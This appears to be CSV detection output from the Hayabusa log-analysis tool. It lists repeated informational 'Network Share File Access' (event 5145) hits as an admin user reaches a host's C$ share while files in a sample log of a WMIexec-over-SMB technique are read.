10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.714 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp\004d51a9ac1d91d6537ad572591ebbd3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.D0ff51f83# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.D0ff51f83#\b7a83293c2e4f23480fc3660b70099e6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.G46fcc235# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.G46fcc235#\f8fa567f21f9aef0ae471c625b59c159 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.G91a07420# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.G91a07420#\5d1b6f60febb9cec91a92675a96ee63d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.746 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ga41585c2# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.746 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ga41585c2#\b101a91893057573f159893cb9c2f28d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.746 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.I0cd65b90# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.746 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.I0cd65b90#\e037edd0e9a4a487424cd2d4e3527c92 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.I7676db1a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.I7676db1a#\aaf7a4161dcd6792ce570a810a0c53f6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ib6702479# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ib6702479#\662c453241af44299325f4c07d7f718c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ic1a2041b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ic1a2041b#\154acb6c70e2dddd2c94bf0bc748b8b7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ifcaec084# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ifcaec084#\9d9142f584dbdd4e6d4bd7fd6f877b66 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Kd58820a5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Kd58820a5#\ba928c3b8a0cdac392162a6b572de29f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.M870d558a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.M870d558a#\1b67145a56e345e0d2e731357f498c1d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Meefd589e# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Meefd589e#\e857b644c45626101624d874e1860701 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf5ac9168# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf5ac9168#\1b9aff98baffeed692a8e8768c0c4e47 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\2f732bd1dcfeef1bb935c1d1444abdef : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mff1be75b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mff1be75b#\4844f53bd0e47d8f8a5795e6484a0f88 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P0e11b656# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P0e11b656#\a169d08938fb7766d16496db1e648137 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.811 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f9a5e83# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.811 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f9a5e83#\75b419c806fb708ac368c6282c922a84 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f792626# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f792626#\dd3aaf75f45749961d52d194dab801a2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P08ac43d5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P08ac43d5#\e18185ddd154ffdd54cb6c9f0ee8bd44 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P9de5a786# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P9de5a786#\c3205ecae7e5cd14582725a8b5e0d26b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P10d01611# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P10d01611#\a29f0b2b0504e328a9aa939a93159e40 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P34f388c1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P34f388c1#\46b29d8a49f03df40a948c722e1b8971 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P1706cafe# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P1706cafe#\45a67d74e9938935daab6173a971be6c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P047767ce# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P047767ce#\b990850a0f13973108c783788afd003b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P521220ea# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P521220ea#\c27e496be774922205ac8ce981a1d43f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P655586bb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P655586bb#\b00bc572c066b64da974fc25989bc647 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P39041136# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P39041136#\d5147e76aac8b85f995ed7aeb6936907 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pae3498d9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share 